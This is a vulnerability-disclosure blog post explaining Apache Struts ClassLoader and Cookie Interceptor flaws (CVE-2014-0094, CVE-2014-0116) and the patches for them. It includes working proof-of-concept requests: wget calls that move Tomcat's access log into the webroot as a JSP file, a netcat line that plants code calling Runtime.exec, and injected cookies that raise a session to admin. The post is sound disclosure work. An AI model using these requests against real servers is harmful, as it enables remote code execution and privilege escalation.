Whitelisting and blacklisting are not easy to get right. We have seen this recently with the Apache Struts vulnerabilities and multiple back-to-back releases/security announcements S2-022, S2-021 and S2-020; this is something that has been observed in the past as well. I was recently involved in analyzing the S2-020 ClassLoader vulnerability (CVE-2014-0094) to provide guidance to our content development team on how to add coverage for this. During the analysis, it became clear that the solution and work-around proposed in the first announcment (blacklisting strings) was not complete. I continued my investigation further over the weekend, but by Monday, Apache had already been notified. They released S2-021 to cover CVE-2014-0112 and CVE-2014-0113 before I got around to sending them a write-up for these (of course, tweeting about these was quick and easy enough — here, and then here). However, there was one more thing that they had missed; we sent them the disclosure write-up for it, which resulted in CVE-2014-0116 / S2-022. We have now released a public advisory for this as well. During my conversations with internal and external teams, I realized that many people do not understand these vulnerabilities and that there is value in clarifying them via a blog entry.

Understanding Struts in More Depth

Discussing Struts in a bit more depth will help us to better understand these vulnerabilities and their impact. Basically, you have Struts Actions, which you can think of as a Java class that implements certain interfaces and has certain properties (instance members/fields, etc). In a typical scenario before the action is executed, you have interceptors that process the requests; two of the interceptors that we are interested in are the Parameters Interceptor and the Cookie Interceptor. In general (although restrictions can be placed based on how they are configured), these interceptors will process the parameter names = value pairs from GET/POST requests and cookies, respectively. If the action has properties with these names and appropriate public get and set methods, they will set up those properties according to the values provided. For example, if you have parent.child.name = “SomeName” as part of your GET/POST request, and the action has these properties accessible via public get and set methods, then what the Parameters Interceptor will do is execute getParent().getChild.setName(“SomeName”). Note that parameter names are treated as OGNL statements, which means that there are multiple ways to do one thing; this is the main reason that the first blacklisting that Struts proposed was not complete (this has also been the cause of previous vulnerabilities in the Parameters Interceptor).

CVE-2014-0094

The crux of the vulnerability is that these interceptors — in the absence of appropriate black- and whitelisting — lets an attacker get to the internal properties of Struts. CVE-2014-0094 is about the ability to access a class instance of the action since getClass() is a public method available to all Java Objects. So what’s the big deal? Well, if you look at java.lang.Class, you will realize that, from there, you can get to ClassLoader via getClassLoader(); then, depending on the specific implementation of ClassLoader that the Web server running Struts is using to load Action classes, one may be able to get to other interesting properties and perhaps even modify some configuration settings of the Web server.

We have seen one POC available in public that takes advantage of the ClassLoader being used by Tomcat. The exploit works by modifying the configuraiton settings of Tomcat (via AccessLogValve); more specifically, it changes the naming scheme of log files and the location where log files are stored to root directory, where Web application code is stored. Thereafter, when the attacker sends a request containing malicious script — such as a request containing JSP code — this will get logged into the log file, which now may have a name and extension of the attacker’s choice (e.g., file1.jsp). As this log file is now in WEBROOT or someplace from which the Web server serves pages containing JSP code, the attacker can then send a GET request for file1.jsp. When the Web server processes this file, it will execute the malicious code, and the attacker gets remote code execution on the Web server. Here are POC requests to the sample Struts blank application (you can find how to set this up here).

The requests below will change the log file location and naming convention:

(Note: We are using Wget, but these requests can generally be sent via a browser as well)

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.prefix=shell

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=12

Then, if we send the request with jsp code, it gets stored into log file. Note that we are using Netcat to avoid URL encodings:

echo -e 'GET http://127.0.0.1/struts2-blank/example/aaaa.jsp?a=<% Runtime.getRuntime().exec("xcalc");%>\n\n' | nc 127.0.0.1 80

Let’s take a look at the log file:

cat /home/zashraf/tomcat/apache-tomcat-8.0.3/webapps/ROOT/shell12.jsp
127.0.0.1 - - [14/May/2014:16:28:03 -0400] "GET /struts2-blank/example/aaaa.jsp?a=<% Runtime.getRuntime().exec("xcalc");%>" 505

Now if we request this log file, we will see xcalc starting up on the Linux box (i.e., we are able to execute arbitrary code on the Web server):

wget http://127.0.0.1/shell12.jsp

 

# Let's take a look at the processes apache / xcalc
zashraf@ubuntu12:~$ ps -ef | grep -E "xcalc|apache"
root 1488 1 1 16:24 pts/3 00:00:35 /home/zashraf/jdk1.7.0_55/jre//bin/java -Djava.util.logging.config.file=/home/zashraf/tomcat/apache-tomcat-8.0.3/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/home/zashraf/tomcat/apache-tomcat-8.0.3/endorsed -classpath /home/zashraf/tomcat/apache-tomcat-8.0.3/bin/bootstrap.jar:/home/zashraf/tomcat/apache-tomcat-8.0.3/bin/tomcat-juli.jar -Dcatalina.base=/home/zashraf/tomcat/apache-tomcat-8.0.3 -Dcatalina.home=/home/zashraf/tomcat/apache-tomcat-8.0.3 -Djava.io.tmpdir=/home/zashraf/tomcat/apache-tomcat-8.0.3/temp org.apache.catalina.startup.Bootstrap start
root 1832 1488 0 17:07 pts/3 00:00:00 xcalc

Notice xcalc being started from the Apache process (pid 1488).

As mentioned above, the parameter names are treated as OGNL statements, which implies that all the following forms get us access to ClassLoader: class.classLoader, Class.classLoader, class[‘classLoader’], etc. Moreover, if an application uses Cookie Interceptor and allows any name/value to be used for a cookie, then the ClassLoader can be accessed via a cookie as well; these have been addressed by S2-021.

If you use Struts but do not use Tomcat, are you still vulnerable? Yes, you are! You may not have the same sort of exposure as Tomcat — and your deployment may not be exploitable — but there could be other interesting ways to exploit your deployment as well; the safest thing is to apply the patch.

CVE-2014-0116

While analyzing CVE-2014-0094 and the initial patch released for it, I realized that class and Class both can be used to access the class instance, and the blacklisting was only forbidding class and not Class. As a natural consequence of this discovery, I realized that the other exclude parameter names on the list can also be bypassed by simply capitalizing their first character. Moreover, these can all be accessed via Cookie Interceptor, which, although it is not enabled by default, is still something that applications can and do use. Before I could complete my analysis and send Struts a write-up, S2-021 was released, and it took care of many of these issues. It proposed the following work-around:

<interceptor-ref name="params">
   <param name="excludeParams">(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
</interceptor-ref>

Note that they took care of excluding class and Class but did not do it for others like ‘session,’ ‘request,’ etc. Nevertheless, the way that they implemented the code fix ignored the case of the exclude parameters. However, what they missed was that these exclude parameters can also be modified via the Cookie Interceptor since they were just excluding the ‘class’ parameter for Cookie Interceptor and not ‘Session,’ etc. This is what we reported, and it was fixed with S2-022. You may ask how we can exploit via ‘session’ and other parameters. This has been previously discussed here.

Here is one way to search on GitHub for applications implementing SessionAware with a public getSession() method available to access the Session object.

One application that I found was using an action called Register, and it has many different properties associated with the Session object. To demonstrate this vulnerability, we will use a dummy POC action such as:

public class HelloWorldS extends ActionSupport implements SessionAware {

    @Override
    public String execute() throws Exception {


        if (sessionMap.get("user") == null)
        {
            sessionMap.put("key3", "set2");
            User n = new User();
            n.setName("Guest User");
            n.setNumber(-1);
            n.setRole("Guest");
            sessionMap.put("user", n);
        }
        if (((User)(sessionMap.get("user"))).getRole().equals("admin"))
           message = "Welcome .. to the portal ... you are currently browsing the portal as an admin";
        else
           message = "Welcome .. to the portal ... you are currently browsing the portal as a Guest";

        setMessage(message); 

        return SUCCESS;
    }

 

We will add Cookie Interceptor when deploying this application as:

<action name="HelloWorldS" class="example.HelloWorldS">
   <interceptor-ref name="defaultStack"/>
   <interceptor-ref name="cookie">
      <param name="cookiesName">*</param>
      <param name="cookiesValue">*</param>
   </interceptor-ref>
   <result>/example/HelloWorldS.jsp</result>
</action>

 

This is what the default page for our dummy Struts app looks like:

We can now exploit the vulnerability as follows:

This simple app uses JSESSIONID to track sessions. We will use Wget to fetch the default page and save cookies, which saves the JSESSIONID to file. We will then use this JSESSIONID and other cookies to modify the current user for this session and then send another request to fetch the default page using our injected cookies; we will see the server greeting us as an admin.

# send a request and save cookies
wget --keep-session-cookies --save-cookies cookieFile3.tmp http://localhost/struts2-sessionaware/example/HelloWorldS.action

# cookie file saved by wget
zashraf@ubuntu12:~$ cat cookieFile3.tmp
# HTTP cookie file.
# Generated by Wget on 2014-05-15 11:13:20.
# Edit at your own risk.

localhost FALSE /struts2-sessionaware/ FALSE 0 JSESSIONID E3129EE24868DEA2DB6A6DC3D1189C8C

# this is how our new cookie file looks like with injected cookies
zashraf@ubuntu12:~$ cat cookieFile.tmp

localhost FALSE /struts2-sessionaware/ FALSE 0 JSESSIONID E3129EE24868DEA2DB6A6DC3D1189C8C
localhost FALSE /struts2-sessionaware/ FALSE 0 session.user.role admin
localhost FALSE /struts2-sessionaware/ FALSE 0 session.user.name root
localhost FALSE /struts2-sessionaware/ FALSE 0 session.user.number 0

# send another request with new cookies
wget --load-cookies cookieFile.tmp http://localhost/struts2-sessionaware/example/HelloWorldS.action<br/>

# note this can also be done using appropriate browser plugins to inject cookies

 

This is how the page fetched by Wget looks in-browser:

Conclusion

We can learn and reemphasize many different lessons here, such as:

The difficulty of getting black- and whitelisting right and the need to be very careful with it.

Importance of careful code and patch reviews; this is not the first time that Struts had been affected by the same vulnerability in both Parameter and Cookie Interceptors.

Finally, the importance of patching itself!

More from Software Vulnerabilities

FYSA – Critical RCE Flaw in GNU-Linux Systems

2 min read - Summary The first of a series of blog posts has been published detailing a vulnerability in the Common Unix Printing System (CUPS), which purportedly allows attackers to gain remote access to UNIX-based systems. The vulnerability, which affects various UNIX-based operating systems, can be exploited by sending a specially crafted HTTP request to the CUPS service. Threat Topography Threat Type: Remote code execution vulnerability in CUPS service Industries Impacted: UNIX-based systems across various industries, including but not limited to, finance, healthcare,…

X-Force discovers new vulnerabilities in smart treadmill

7 min read - This research was made possible thanks to contributions from Joshua Merrill. Smart gym equipment is seeing rapid growth in the fitness industry, enabling users to follow customized workouts, stream entertainment on the built-in display, and conveniently track their progress. With the multitude of features available on these internet-connected machines, a group of researchers at IBM X-Force Red considered whether user data was secure and, more importantly, whether there was any risk to the physical safety of users. One of the most…

X-Force releases detection & response framework for managed file transfer software

5 min read - How AI can help defenders scale detection guidance for enterprise software tools If we look back at mass exploitation events that shook the security industry like Log4j, Atlassian, and Microsoft Exchange when these solutions were actively being exploited by attackers, the exploits may have been associated with a different CVE, but the detection and response guidance being released by the various security vendors had many similarities (e.g., Log4shell vs. Log4j2 vs. MOVEit vs. Spring4Shell vs. Microsoft Exchange vs. ProxyShell vs.…

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today